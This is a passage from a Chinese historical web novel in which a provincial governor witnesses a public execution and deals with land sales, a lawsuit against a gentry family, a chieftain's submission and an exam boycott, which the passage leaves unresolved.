刘三麻郑重其事,请人算了日子定好刑期,挑了个风清气爽的时候行刑,段之缙作为监刑官盯着时辰,看着生猪一般绑在木桩上的熊、泰二人,莫名颤栗一瞬。 午时三刻,正是行刑的好时辰,段之缙一声令下,赶紧转头看着郑兄,伴着不绝于耳的哀嚎,郑崑瑛的脸刷一下变得惨白,底下恭立着的官员也是晃晃悠悠,眼见着有人倒下。 难以描述的血腥气,铺天盖地地翻涌着。 远处的树上,停站着乌鸦,脑袋旋转着等候。 胆子大的鸟儿已经开上了餐。 刘三麻的报数声混着惨叫,后来惨叫渐渐停止,只剩下报数声,最后收刀,刘三麻上前道:“请大人验刑!” 段之缙被他身上森森的冷气冲了一脑门子汗,憋着气看了一眼,权当验了刑。 再瞧一瞧官员,已经有人撑不住呕吐了出来,郑楒琅倒是硬挺着,此时刚刚放下笔。 叫他们的家人收敛尸体,官员们像是叫人抽了脊梁骨,瘟鸡一般回自己的公衙,段之缙和郑楒琅也回了总督衙门。 段之缙一回去吐得昏天黑地,郑楒琅除了脸白,倒是没什么。 “你胆子够大的……”段之缙说不上是佩服还是震惊,郑楒琅苦笑:“我除了前边的那两下,哪里敢看?这文后边都是我胡诌的。”欺君就欺君吧,管不了这么多。 郑楒琅看着真正胆子大的,感叹道:“秦大人真是没事儿人啊!” 秦行真可谓是面不改色,此时还能笑出来,“你们得知道,我是刑部员外郎的出身,是真得到大牢里观刑审案子的,什么东西没见过?肉沫溅到我身上,我都面不改色。” 他说着,段之缙又开始干呕,好一会儿才停住,之后的几天连点荤腥都不见,吃了好几日素菜才缓过来。 郑楒琅也才有功夫和他聊聊京里的事情。 “你跑得好啊,我现在都想跑了。” 段之缙大奇,郑兄留在京里前途远大,怎么羡慕起了自己这个在外奔波的? 郑楒琅苦笑:“你是不知道,我走的时候,京里开始议储了。” 段之缙起了点兴趣,“大皇子为长子,理应立为太子,难道是陛下不喜欢他,想要立幼?” 郑楒琅扶额,“要只是长幼之争,我倒是不必这么头疼,偏偏出了兄终弟及和父死子继之争!” “啊?这怎么可能?陛下有年长的皇子,国家虽有外患但内部何其稳固,怎么可能出现立皇太弟的情况?陛下再爱重长乐王,长乐王也不是他的儿子啊!陛下糊涂了,朝臣也绝不会允许!” 段之缙惊得起身,桌子都被他撞得晃了一下。 郑楒琅哼哼道:“我瞧陛下也是不愿意,这不还有西宫皇太后吗?整日叫长乐王进宫去,王爷出入宫闱比陛下还方便呢!到底还是自己养的更亲。而且我常跟长乐王去郊外,瞧着他自己也有这个想法,反正两个大的皇子不受待见,两个小点儿的能不能长大都是问题。” 他疯了?原书中也没说啊! 段之缙悚然一惊,突然想起来原作中的长乐王腿脚坏了,可现在的长乐王可是比谁都康健! “怎么会这样?” 郑楒琅烦躁地抓头发,“别管了,过一天是一天,我算是看明白了,反正天塌下来有高个儿顶着,我就是翰林院的小鱼小虾,本来就与我无关,以后叫我去我就说回家看孩子,再不行就请外放,他还能绑着我去吗?” 段之缙拽着他的手,叫他别激动,“陛下坚持反对了吗?” “陛下要是恼了,我也就没这么烦了,可偏偏他自己也暧昧起来,不肯拿出个章程!许是碍于孝道,不愿意跟西宫太后顶着干。” 段之缙哀叹一声,陛下在潜邸时都肯吃长乐王剩下的酥山,倘若因为立储的事情撕破脸,当今大权在握,受苦的一定是拎不清的长乐王。 只是这个事儿不归他考虑,真正要紧的是燧明,吴阿兰的亲族大肆收买分配出去的土地,车慧清上报的文书已经到了案头。 第94章 094失败的死亡教育 事情急得很,段之缙也没心思管那叫郑楒琅头大的事情,连夜赶去了克西府保宁县,知府车慧清和保宁县知县俱在县衙中,段之缙问道:“他们如何就把地卖给了吴阿兰的亲族?是自愿的还是逼迫?” 知县赶紧道:“是自愿的,吴家人出了高价买但又不收回土地,改雇为佃,叫分了土地的人还是种那块儿地,又把地租压到和朝廷的赋税一样低。” 段之缙气得拍了一下桌子,“他们就想着空手套白狼?怎么不想想等着吴家人占了大多数土地的时候,地租多少还不是人家说的算?” 段之缙绝不相信这些往日的贵族是傻子,怎么可能平白收了你的地,还把租子压到这么低,不出两三年,定然要天翻地覆。 “现在已经有多少地被收回去了?” “上等田基本上都被收回去了,中等田也有一半,下等倒是少。” 段之缙想要发怒,可知县已经吓得牙颤,自己再生气也无用,最后反而有些欲哭无泪,问道:“这么些土地,一朝一夕买不完,如何现在才上报啊!” 知县哭道:“大人,这知县就是吴阿兰,买卖都是她做主,我们知道的时候,已经是这样了……”他说着后怕起来,听说朝廷刚在南诏剐了两个官员,现在正是多事之秋,怎么就叫自己摊上了这样的事情?眼泪越掉越多。 段之缙把手帕递过去,“成了成了!事儿已经这样了,哭有什么用?也没说怪你不是?这本来就不是你的职责,疏忽了也正常。” 知县这才放下心来,抽搭一声,擤了擤鼻子。 “燧明县是归属克西府的,跟吴阿兰招呼一声,车慧清同我一块儿去燧明说说这个事情。” 这种自愿的买卖,段之缙就是想禁也没有理由,只能拿汉人的事迹给他们提个醒,别到时候地全卖了,就跟汉人的佃农一样,地租升到五抽一、二抽一。 燧明人只见过奴隶主没见过地主,就容易上当,也是官府的失误,没有提醒他们。 县衙的文启师爷写了告示,车慧清同吴阿兰打了招呼,两个人一块儿进入燧明地界,在原来议事厅前张贴了告示,来来往往的人就聚拢过来。 师爷宣读道:“凡土地买卖,皆须两相情愿,立契为凭……” 懂汉语的人跟不懂汉语的解释着,说了一顿大家还是不明白这些书面语在说些什么,一个女人问道:“这是什么意思啊?” 师爷费力解释,大家还是不通。 议事厅中,吴阿兰斜着看了一眼段之缙,双手奉上一杯茶,笑道:“既然做了你们雍朝的官员,我就随你们的官员一起称制台了。制台大人,我们这儿的风气和你们那里可不一样,也别把我想的太坏,你情我愿的事情,哪有什么阴谋诡计。” 段之缙睨她一眼,“按‘咱们’雍朝的规矩,你该自称‘下官’才是。” 他说完,径直走到 外边,在嘈杂的人群中拍拍手招呼道:“告示上的东西听不明白,那就听我说!你们把地卖给吴家,只要是自 愿买卖,官府是管不了的,也不能管!但是倘若你们被骗了,或者有人强迫你们把你卖了,那就去报官!你们自己的县令不管就去保宁县告官,保宁县的县令会管!” 下边叽叽喳喳说一阵,有一个中年的男人笑着回道:“都是咱们自愿的,头人家心善,出的地租和朝廷要的田赋一样,我们是白领了银子!” “你们可签了契书?” “这是自然,这两年的地租就是和大人说的赋税一样。” 段之缙反问:“那两年后呢?两年后的地租是多少?” 几个人相互看看,回道:“两年后自然还是这个数……” “可有契书?” “这……两年后的契书怎么能现在签?” 段之缙高声道:“两年后的契书,人家想要多少地租就是多少地租,倘若你们不给,那人家也可以不租!” “告示里说的‘至若田租多寡,系主佃两方自行商定之事。丰歉增减,凭契约而定,官府概不置喙’就是这个意思。以后再出争执,只要契书在,官府就不能管了。春耕之后才多长时间,分给你们的上等地几乎全卖了出去,中等地卖出去了一半,有些人已经是不得不当佃农租地种了。我跟你们说个数,往北边走,粮食产的多的地方,五抽一甚至二抽一都是常有的。” 底下的百姓已经慌了起来,该说的事情却已经说完,段之缙和车慧清打道回府,又吩咐车慧清盯紧燧明县,之后回到了总督衙门。 此时郑楒琅还没有准备回京,瞧他阳气已尽的样子顿时觉得外放也没什么好,走上前也不知安慰些什么,最后拍拍人家的肩膀问候一声:“真是辛苦你了。” 段之缙拍开他的手,“现在知道我们地方官的不容易了吧?仅仅是一个燧明,真是活折腾死我了,皇帝一边劝我不要冒进,一边定下了三年的期限。三年不能改土归流,我两个母亲就不能同封,我也加不上尚书衔,加不上尚书衔我就是二品官,二品官比提督低一级,上回去了南诏军营,我有多尴尬你知道吗?” 他说着,眼睛一眯,“长乐王这么喜欢你,德润兄,弟弟求你个事儿,你去求王爷,先给我把尚书衔加上。” 郑楒琅瞪他一眼,“你生怕我死得不够快,跟我折腾些这个,快回去睡觉!” 段之缙又拦住他,“跑什么?不说这些,你什么时候回京去?” “快了,陛下还等着我写的文呢。”说完,他打个哈欠回了住处,段之缙也回后衙休息。 蘋儿已经回到了卧室,一边绣荷包一边看着锁儿玩九连环,正好是最后一针结束。 段之缙伸着头过来,“绣的什么花?” 蘋儿递到他的眼皮子底下,“自己看吧。” 段之缙就不做声了,大红缎面上是一个懒洋洋的猫儿,蝴蝶停在鼻尖儿也不知道扑。 “我还把那两撮猫毛捻在了里边。” 段之缙仔细瞧,果然有几根线不一样,叹一声道:“跟锁儿说了吗?” 沈白蘋还没说话,耳朵尖的锁儿就先跑了过来,好奇地趴在爹爹膝盖上,“要跟锁儿说什么?” 沈白蘋摸摸他的脑袋,朝着段之缙摇摇头,然后把荷包塞给段之缙,撇撇嘴示意他给锁儿。 段之缙接过也不知道说什么,先挂在了儿子日渐肥壮的腰上,不自觉地夹起来嗓子问道:“锁儿还记不记得这是谁?” 锁儿拧着小手揪荷包,想了一会儿才记起来,高兴道:“是连科!”而后软乎乎地拽着段之缙的袖子撒娇,“连科能不能送到这里来?锁儿想要连科。” 段之缙还想着怎么哄他,沈白蘋却已经做好了打算,抱着儿子坐到腿上,“连科已经不在了。” “连科本来就不在咱们这儿。”小孩子晃晃小腿,一本正经地回答。 “连科也不在京城了。” 锁儿这才着急问:“那连科去哪里了?” 段之缙摸摸儿子冒汗的小鼻头,回道:“连科哪里也没去,它就是去世了,也就是死了。” 锁儿彻底不明白,掰一掰手指头,“‘世’是什么地方?我要去哪里找他?死又是什么意思?” 他才两三岁,只经历过先帝的国丧,但那和他有什么关系?反正挡不住他吃饭睡觉。 沈白蘋回道:“去世就是离开咱们活人生活的地上,去了地下。”她牵着孩子的手凑在鼻子下边,“你摸摸,是不是有热热的气?死了就不会出热热的气了。”她又牵着孩子的手去摸自己的脸,“是不是热热的,软软的?死了就硬了凉了。” 他们两个也不知怎么回事儿,越说越上劲,又道:“死了的人就不会说话了,也不会抱着你,也不会亲亲你。你再也见不到他了。猫儿死了就不会再叫,不会再跑跳,也不会和你玩耍。死了的,都要埋到地下,再也不出来。所有的东西都会死。” 锁儿头一回把眼睛睁得这样大,吓得说不出话,直接哭了出来,“要是爹爹和娘亲死了,锁儿怎么办?” “没关系的,那个时候锁儿长大了,娘亲和爹爹不在了,还会有别人在,他们一样陪着锁儿。”沈白蘋给儿子擦去了眼泪,“就好像连科,之后再没有了连科,但是还会有别的猫儿或者小狗。” 锁儿到底是忘性大的小孩子,脑子只能处理后半句处理不了前半句,瞪着眼问:“旁的猫儿狗儿在哪里呢?为什么不和锁儿玩?” 段之缙哭笑不得,不知这次死亡的启蒙是成功还是失败,估算估算日子,似乎也该到了猫产仔的时候,刮刮他的小肉鼻子,“两个月之后就有其他的小猫了,现在叫爹爹抱着你睡觉吧。” 今天晚上就这么糊弄着过去,段之缙又过了几天安生日子,安排人从藩库里拨款在各府建育婴堂,聘请奶娘和帮工,广发告示,号召百姓改溺为弃。 沈白蘋在京时就常帮助育婴堂处理事务,很快弄出了一套章程,各地的育婴堂风风火火地建起来。 育婴堂走上了正轨,燧明的土地也不再出卖,段之缙又和吴阿兰商量,把两年后的地租控制在五税一之下,五年之内不能再提高,燧明也安顿下来,似乎已经可以对兆仁动手了。 结果在兆仁之前,河涌县的县令又和丁家嫡系的老二闹出了事情,官司从县扯皮到府,又一直打到总督衙门,这一路上竟没有一个敢做主的,反而叫进士出身的县令气个半死。 第95章 095总督衙门里,这是头一回这…… 总督衙门里,这是头一回这么多人。大堂之内,已经坐定了河涌县的知县林忠平已经下领河涌县的知府,衙役用水火棍敲击着青砖,段之缙传丁家老二丁承宗上堂。 今儿的案子有意思了,少有的民告官,还一路告到了总督衙门,几年也难出一遭。 要告县令的丁承宗走上来,他身后跟着的弟弟丁承嗣是 被抬上堂的,只着一身白色的中衣没穿外衣,露出后背渗血的绷带,又紧跟着八名家丁,抬着一方大匾,赫然是先帝御笔亲书的“帝王师”三个大字。 这阵仗够大的。 段之缙眼皮直跳,还是按照流程问丁承宗:“你要告林忠平什么?” 结果是丁承嗣悲愤道:“我要告他擅权辱绅、殴伤士族!”该是说话的时候太用力,后背的伤口被拉扯到,叫人呈上状纸的时候未免有些呲牙咧嘴。 包诸拿过状纸,当堂宣读。 “伏惟圣朝以礼治天下,士农各安其分。今有南诏知县林仲平,恃新科之宠,沽清流虚名,专事偏袒下民……” 段之缙听他啰里啰嗦读了一大堆,终于理清事情的经过。 他一拍惊堂木,“你们丁家的意思是林忠平枉法,错弄了契书,又冤打了你的弟弟?” 丁承宗道:“正是制台大人的意思,草民和那齐平的红契已经加盖了官府的大印,林大人凭什么说不认就不认?难道就因为齐平说白契和红契对不上吗?” 丁承宗拉开弟弟的上衣,血淋淋的伤口暴露出来,“大人,草民的弟弟不过是说了几句抱怨的话,就被打了二十鞭子,可怜我爷爷疼爱的这个孙子。”说着说着,丁承宗呜呜哭了起来,还搬出了丁元敏。 “祖父丁文正公是先帝的老师,即便家弟犯了大错也不该当众折辱!” 段之缙高坐在堂上看他光打雷不下雨,屡屡拿丁元敏压人,翻了个白眼叫林忠平说话。 林忠平早已怒发冲冠,只是制台大人没叫他说话,他也不方便开口,现在终于能开口,竟然在公堂之上破口大骂。 “好个诗礼传家的丁府,我看你们传的不是诗书是阴谋诡计吧!丁大人教导先帝,怎么生下来两个谬种没好好教导?”他张嘴就扯上了丁元敏,段之缙额头青筋一跳,咳嗽一声,“别说那些没用的,说当时的情况!” 林忠平回道:“制台大人,那日丁家的管家丁巳和齐平一块儿到县衙办红契,丁巳当堂写的契书,齐平是个不识字的只能查字数的,查完字数说是对了,下官就给他们盖了大印,结果没成想,几天后齐平状告丁家人骗了他,明明约好了是卖二十亩地,结果丁家人说四十亩地全是他们的。” 段之缙道:“这也算是齐平的一面之词,可还有旁的人证物证?” 林忠平回道:“自然是有的,丁家人和齐平已经签过了白契,齐平的白契上就是二十亩地,但是丁家人拿出的白契却是四十亩。大人,二改四容易,四改二却是难啊!”林忠平似笑非笑地看着丁承宗和丁承嗣,又讽道:“不过也难说,丁老大人是大学问家,说不定和齐平有缘,给了他四改二的妙法。” 他这是第二回用丁元敏说嘴了,连忙制止,叫丁承宗说话。 两伙人又吵吵起来,段之缙又一拍惊堂木:“行了行了!公堂之上岂容你们做这等姿态?林忠平把话说完!” 互相瞪一眼,林忠平接着道:“制台大人,白契和红契不一样,下官叫衙役出去打听,丁家素有这样的名声,这才给他们出了个主意,要不然买卖作废,要不然就重新商定价钱。那丁巳倒是蔫蔫地回去了,结果第二天丁承嗣带着家丁擅闯县衙,咆哮公堂干扰公务,下官只罚他二十鞭子已经是看在已故丁大人的面子上!” “可有人证物证?” “不光有那天的衙役,还有县衙门口围聚的百姓,哪一个不是人证?” 段之缙看着下边人的表情,已经瞧出了端倪,问林忠平的上级知府:“属实吗?” 知府回道:“的确属实,但丁承宗是丁大人之孙,看在丁大人的面子上,林忠平也不该当众鞭笞丁承宗。” “本督就问你属实不属实,你的话倒是挺多。既然属实,那就打的没错,这样清楚的案子闹到总督衙门,一群人围着审,可是平日的公务不够多?” 知府却道:“本朝素来推崇尊师重道,丁大人是帝师,他故去当今还写过挽诗,他的子孙也应当受到优待,如何能当众折辱帝师的子孙?” 段之缙没想到他还有这一出,当着大家的面嗤笑一声,方要说话,宗怀宁附耳道:“大人,这事儿还有点机窍得跟大人说明。” 他的手使了十分力气拽着段之缙的袖子,段之缙只能说一声“有事”,随他去了后边说话。 “这是怎么了?” 宗怀宁为难道:“这案子明眼人都能看出是谁的不对,可为什么知府不愿为难丁家?” 段之缙笑答:“他那州府耕地多,田赋占大头,自然不愿意为难丁家,再者丁元敏死了才几年,先帝又刚走,为难人家仿佛是皇帝不讲情面,连父亲的老师也容不下。” 宗怀宁欣喜于他有这样的悟性,乐道:“对对对!那大人应当如何处置呢?” 段之缙叫他放心,“我心里明白着呢!”放完了话,一回头走回公堂,开口第一句就斥问知府:“你倒是处处为了朝廷着想。我问你,‘天地君亲师’,谁在前谁在后?” 知府看了一眼扶额的宗怀宁,也不知他们去后边谈了个啥,只能回道:“自然是‘君’在前,‘师’在后。” “那本朝的律令都是君令吧?” 知府颔首道:“大人说的没错。” “既然是君令,为何不遵君令而要知县优容什么丁家的子孙?丁元敏虽有帝师之名,但先君后师,见了君令也得遵循,何况今日触犯律法的还不是他,而是他这些不肖子孙。还是说丁承嗣长了三只眼,偏偏打不得?” 一通话把丁承嗣气得后背火辣辣得疼,脸上更是红似火烧云,最后叫人扶着扑在牌匾上,刚要嚎哭,段之缙就提醒道:“这可是先帝御笔亲书,倘若弄脏了,你们又是什么罪过?” 嗓子眼的哭声就憋了回去。 林忠平现在出了一口恶气,真是快活,跟段之缙提议道:“大人,还有齐平的事情尚未了解,契书一事到底如何还是要弄个清楚,脏了下官的名声不要紧,大人可不能落下个官官相护的名声!” 段之缙便问包诸:“齐平来没来?” 包诸回道:“等着大人传。” “叫他上堂。” 齐平不过是个富裕点的农户,家里的田地虽多,可也算不上是个地主,又没有读过书,上堂之后畏畏缩缩,瞧起来甚是可怜。 段之缙问道:“你是怎么跟丁家签的白契,又是如何发觉自己被骗的,如实说。” 齐平脸一丧,跪地回道:“大人,草民有两亩薄田,只是母亲生了重病,没办法了才想卖出去一半换人参救命,白契上白纸黑字写得好好的,就卖二十亩,结果红契上怎么就成了四十亩?草民早就听说了丁家人会干这样的事儿,还特意查了字数,结果还是没防住。” “你放屁!”丁承宗背上狰狞的血口子都挡不住他的惊慌,本来是没事儿的,谁承想新来的县令这么轴,谁能想着屁大点事儿直接闹上了总督衙门,弄出了这么个局面。 段之缙冷笑:“怪不得敢擅闯县衙,咆哮公堂,本督还在这里,你就敢当众辱骂齐平。” 丁承嗣恨得扣紧牙关,悻悻住了嘴。 这次叫人排揎了不要紧,大哥还在京里,以后还有的闹! 见丁承嗣不再说话,段之缙又问齐平:“既然你知道丁家有这样的手段,为什么还要和他们签白契?” “大人,丁巳说咱们那块儿地合他们家的风水,要建一座家庙,要是卖二十亩,这价钱就合算了,要是四十亩,草民可就亏了!而且草民知道,这才特意查了字数……” 结果人家就改了一个字,价钱折了一半去。 “你的一面之词,林县令,当初盖红契的时候,齐平果真有查字数?” 林忠平回道:“的确是在查,这才叫下官觉得较为可信。” 段之缙摸摸自己的下巴,“那这样可就不好办了,你们两个说的都有理,这样难分对错……不如这样,总督衙门去打听打听,倘若你们丁家果然有这样的名声,自然是齐平的更为可信。倘若齐平污了你们的名声,便对齐平用刑!” 宗怀宁已经哭丧起了脸,拽了拽段之缙的衣袖,提醒他见好就收。 段之缙终于听了他的话,也是因为知府的脸色黑如锅底灰了,于是低头看了看状纸,“要是觉得林县令判得还算是合理,那便就此息诉如何。” 丁承嗣咬牙道:“便如制台所言。” 段之缙满意一笑:“退堂吧。”衙役们再敲水火棍,段之缙叫林忠平跟着来,一起回了签押房。 两个人都轻快地很,段之缙大迈步往前走,夸赞道:“听见帝师的名头还敢打丁承宗,你怎么敢的?” 林忠平回道:“下官脾气暴,他骂得难听 ,下官自然要叫差役打。” 这还真是顶顶好的理由,段之缙失笑,“我留你是有吩咐,回去之后找找人证,给我递上来,然后嘛……咱俩一块儿吃个饭,你就回去吧。”林忠平高高兴兴答应下来。 林忠平自然是效力的,段之缙也没把此事放在心上,纵使是帝师的后代那又如何?这“帝”和“师”都没了,他们又没有正经的武装,还不夹起尾巴做人。 段之缙要紧的事儿是改土归流,又舍下了总督衙门跑到克西府去,派人请了吴阿兰和马黎吃饭。 第96章 096府试罢考 打二月里春耕之后,段之缙就没闲着,现在进了四月,要过生辰的时候,又得往克西府走,去商讨改土归流一事,郑楒琅同他一起去。 两人在路上,郑楒琅一边写折子一边叹气:“眼瞧着就是你的生辰了,本来还想吃你的宴,结果现在又得跟着你去办差。” 段之缙道:“怎么不能吃,这次请客吃饭不就是用我生辰的名义吗?且还是公中出钱,比自己掏钱吃得更好。” 郑楒琅失笑:“我服了你。你还记不记得我们府试的时候,正好赶上你的生辰,就吃了一碗长寿面,寒酸得很。之后便再没庆祝过你的生辰。” 此后段之缙的生辰不是在守孝,就是在上学、当差,只能在家里过,没请过旁人。 “当年那碗面还是你给我下的,叫进士煮面,也能算是寒酸吗?” 郑楒琅说他油嘴滑舌,分了纸笔给他,嘱咐他把事情的进展和丁家的事情汇报给皇上,“丁家的老大丁承祖就在都察院,以后事事都要上报,别犯了错叫人逮住不放。” 段之缙给皇上上折子也是累,再送些什么呢,上回儿送了茶饼和饵块去,茶饼估计已经分了,饵块倒是很喜欢,只是不再叫送,让写个菜谱上来,御膳房也能做。还能送些什么呢?再送旁的吃食,从南诏千里迢迢运过去,得用多少冰?要是因此挨了骂,可真是得不偿失了。 郑楒琅笑话他:“现在知道你们这些人的不易了,不仅要管着地方的事情,还得管着皇帝的胃口。人家送金玉珠宝和古董书画,就你天天送菜。” “你怎么知道人家送了金玉珠宝和古董书画?” 郑楒琅回道:“因为我同长乐王出游,他得什么赏,我能不知道吗?前朝遗留的供给天家的金笺,三川总督献给皇上,被长乐王要去一部分供我写诗了。” 段之缙在这里带的时间长了,也认识了些文人雅趣的东西,越是保存好的旧纸越是有价无市,像什么玉版纸、云蓝,尤其是前代的东西,一张纸卖几两倒不算什么了,最主要的是你根本找不着。 金笺倒是不难做,可前朝的贡品金笺带着一股经久不散的梅花暗香,不浓烈,却随处可沾,只要拿过,碰见识货的,人家也就知道你接触过前朝贡品金笺了。 这样你不说,叫别人先问一问,而后再随口说一句是前朝的金笺,才是高水平的炫耀。 可惜这个手艺已经随着前朝覆灭失传。 段之缙羡慕道:“什么好东西都叫你享受了,前朝的金笺,我见都没见过。话说回来,长乐王这般看重你,叫他当个皇太弟你岂不是一步登天?又愁些什么呢?” “你可千万别给我打算了,要是能这样确定了到还好,陛下暧昧不清叫人心烦。他已经给大皇子请了名师,痛下决心要好好教导了。我想,陛下怎么能愿意传给弟弟?” “好吧好吧。”段之缙可惜道:“我还指望着你一步登天,叫我也跟着享受享受前朝的名纸。” 郑楒琅但笑不语,又转回了方才那个话题,给段之缙出主意,叫他干脆给皇帝送些菜谱去,也省得寄那些特产,总归不如送纸方便。 段之缙想着也是,差人将写好的草稿送回总督衙门,让包诸写密折而后发出,继续往克西府去了。 以寿宴的名义请客吃饭,不仅有前任的土司现任的燧明县县令吴阿兰和兆仁土司马黎,还有车慧清和保宁县县令。 段之缙朝大家敬一杯酒,“寿宴也不过是个幌子,今日聚一块,也是那件老差事了,既要问问吴县令燧明县的近况,也是为了说说兆仁的事情。”他朝着马黎一笑,“不用我说,土司也明白,本督要劝你改土归流了。” 马黎心中烦闷,不知如何作答干脆也就不答话。 段之缙问吴阿兰燧明的情况,先问春耕进度如何,再问学堂开办得怎样,又说起兵丁派驻的情况,吴阿兰细细汇报了,一切进展都很顺利。 段之缙满意道:“朝廷的鸟铳手都已经就位,大小寨子的巡查兵也有,你也能放心,倘若有人来犯,朝廷自然护着你们。” 他又说起了几个地方,言说这几点是要紧之处,还打算着多派些兵丁去。 吴阿兰想着他说的那几个地方,想不出有哪里紧要,看看已经警觉起来的马黎,才知道段之缙的意思,总归现在已经有了朝廷官员的名分,便配合起来。 “是,这几个地方也该多驻上兵,尤其是平水河,河岸边也应该多派驻些火铳手。” 平水河对岸就是兆仁的地界了,马黎按耐不住开口:“这条河是咱们两地共享,派驻这么多兵似乎不合适。” 吴阿兰解释:“两地共享,可这边的河岸是燧明县管理,我现在做了朝廷的官员,自然是要为朝廷着想了。” 马黎怒瞪她,他才听说吴家收地的事情被汉人叫停,没想到吴阿兰连这点儿气性都没有,真把自己当雍朝的官员了。 段之缙很满意,又朝着马黎一笑:“不能叫贵客空着肚子谈事情,先吃饭吧,吃完饭咱们再详谈。” 马黎扯着脸道谢,可也没吃饭的心情。 饭后便该谈正事了,段之缙把当初说给吴阿兰的条件摆出,叫马黎好好想想,“你若是自愿改土归流,朝廷思及你的恭顺,仍叫你统领兆仁之地,以后有朝廷庇佑,又何必成日胆战心惊河对面有多少驻兵?” 马黎却道:“大人,兆仁听从朝廷的调令,从没说过一个不字,您自己也说,改土归流之后,仍保留我的土司的爵位,再做什么县令。这样的话,设不设县又有什么区别呢?左右兆仁都是听命于朝廷。” 他倒是避重就轻,段之缙可不听他糊弄,“改土归流之后,你的兵权也就解除了,原先属于你们的土地得分配,赋税也是缴给朝廷,且从此之后按照朝廷的律令行事,再不许随心所欲打杀生民,你说有没有区别。” 马黎面色如铁,冷硬道:“既然如此,我可就吃了大亏,又为什么要改土归流?” 段之缙道:“自然是改土归流有别的好处。你们都算是富庶的部族,耕地多,但反过来说地势差,部众又多在耕地里行走,到底不如再往西南的那些土兵。” “可就是这么大一块儿肥肉,怎么素来这般平静?不就是因为紧靠着保宁县,又听从朝廷的号令,朝廷也愿意庇护你们吗?改土归流之后,便没有这个隐忧了。” 段之缙又道:“想想你的儿子,是刚离家还是离家多年了?我看你年纪也不是 很大,想来儿子年纪也小,他多少岁了?” 马黎牙关紧咬,还是吐出来话:“十二岁去的京城。” “是了,你才做了四年土司,儿子今年也就十六岁,还要再呆四年,呆到二十岁,离家八年,等着他再回来的时候,还能认得父亲吗?若是你答应了改土归流,你儿子也回到兆仁,一家人团团圆圆难道不好?” 感情牌打一半,还得吓唬吓唬马黎,“传文馆的日子不好过,若是你做父亲的还这样执拗……” 这真不是君子所为,但事实也的确是这个事实,每每土司反叛,他自己倒是能多活几日,可他们的儿子,不是送回南诏杀,就是在京里杀了,首级送回南诏。 段之缙又道:“有失也有得,朝廷会把更好的耕种、冶炼技术传授给你的民众,你的亲族不也跟着受益吗?再者,给我的圣命是南诏和岺州全境都要改土归流,你现在拒绝了,准备着以后造反吗?” 话都说到了这个份儿上,马黎又悲又愤,却说自己还得考虑考虑,和吴阿兰一起离开的时候,他看着这个往日的熟人,一身青色官服竟是如此陌生。 “从一方土司,成了汉人的走狗,你倒真是识时务。” 吴阿兰深深地盯着他,“识时务者为俊杰,马黎,我和你父亲是一辈的,他同我一样对朝廷唯命是从,可你怎么就这样无知?” “明眼人都能看出,你继任土司以来总是有说不尽的豪情壮志,对着朝廷若即若离,想要做到父亲做不到的事情,我以为你的儿子送去了京城,你也能认清形势了,但显然你没认清。” 她瞧了瞧身后沉重的衙门大门,黑漆漆的牌匾高高挂着,回身劝马黎:“做了县令之后,我每日所见,就是燧明为数不多的林子里雍朝的兵丁来回穿梭,他们拿的火铳,比咱们的箭更快。所以我劝你现在服软,能捞到最多的好处。” 她迈上官轿,留马黎在身后纠结不已,和族中商量了几日,最终沉下心决定接受朝廷的安排。 正准备去找段之缙,却得知总督已经快马加鞭赶去了明江府。 马黎还有些恼,去找吴阿兰问:“这是怎么了?把我晾在这里玩?” 吴阿兰给他倒上茶,“说不得要换总督了。” 马黎大吃一惊:“这是怎么了?” “明江府的府试,考生罢考了。” 明江府专设的试院前,考生们已经静坐了一天,知府说干了口水,考生们纹丝不动,第二天才等到段之缙赶来。 他翻身下马,气都喘不匀,把知府叫到后边问:“到底怎么回事儿?为什么罢考?” 知府却无一丝被责问慌乱,反而有些责怪段之缙的意思。 “大人,下官虽没那个意思,但事情的起因就是林忠平打了丁承嗣。本府的贫寒士子,多受丁家的接济。再者,自古以来都倡导尊师重道,本朝更是几次强调,您是在国子监读书的,平时请教老师都是跪着听,结果林忠平把丁承嗣打了,您还叫好……” 段之缙甚至有些瞠目结舌了,“就因为这个?” “您刚上任知悉得不太清楚,丁家旁的毛病有是有,但最重圣贤之道,本地的孔庙、府学和多地的县学,丁家多有出资。” 郑楒琅跟着来了,和段之缙对视一眼,朝着知府冷冷一笑:“你难道没有跟他们说清,丁承嗣是如何遭打的吗?” 知府道:“说了,可他们只觉得咱们官官相护,丁家倒是成了苦主。” “大人,这个事情一定要报到京里去,咱们是一定会被题参的,还是想想怎么脱罪吧。” 段之缙看一眼郑楒琅:“坏了,我出京没送一文钱的别敬,离京后一次孝敬也没给,丁家老大还在都察院,这不叫人参死了?” 郑楒琅安慰道:“别怕,我的差事也做完了,秦先生的案子也审完了,这事情送不了八百里加急,即刻回京,奏折虽快,但我们也晚不了多少。当务之急是安抚住他们,最好叫他们先考试。” 第97章 097皇帝的吩咐 郑楒琅和段之缙商量一番,先回了总督衙门和秦行说明事情经过。 四月多了,秦行仍在整理案件,闻言眉头紧皱,“闻所未闻,这里的士子都疯了吗?本来还有一部分供词没整理,算了,在路上弄吧。” 他心里不太把这当个麻烦事儿,也不认为陛下会因此恼了段之缙,便不如郑楒琅着急,还记得命人找上好的普洱茶饼带回去,这才启程上路。 他俩准备好回京,段之缙差人去河涌县叫林忠平带着丁家骗占土地的人证物证来,才去前边和士子们交流。 段之缙看着乌泱泱的人大声劝解:“你们苦读不易,何苦为了别人强出头?倒连累了自己!现在立刻回到考棚去完成考试,还有转圜的余地,也能和皇上交代。” 领头的士子端端正正坐在地上,震声道:“我辈若是为了个人的功名利禄,又何来今日的举动?大人未免小瞧了咱们!汉有刘陶上疏陈事,遍陈三代之兴衰,又岂想过自己的功名利禄?今日我玉卿便做一回刘陶,生死已经置之度外了!” 段之缙心下纳罕,他是刘陶,自己就是东汉的阉党了?丁家这种巨富之家倒成了被迫害的清流! 平复下火气,段之缙好声好气地跟他们解释:“自古以来,罢考都是重罪,还会连累一省的考生。再者丁承嗣也不是无辜之人,他擅闯县衙咆哮公堂,众人皆知,林忠平并没有冤屈了他,挨了二十鞭子也算是轻罚。” “没有冤屈?丁家素来敬重读圣贤书之人,置义学二十七载,明江府之内哪一个读书人不知道丁家的善名?岂能没有冤屈!” “善名?置义学,接济穷苦的士子就把你们迷得昏头转向,就在你们当中声名大振了?就能叫你们公然违逆朝廷的律法,静坐罢考了?你们到底是为了朝廷和百姓读书,还是为他们丁家读书!” 这还考个屁的科举,回家吧! 段之缙看着刚才说话的玉卿,问道:“你是领头人?你知不知道鼓动考生罢考是重罪!” 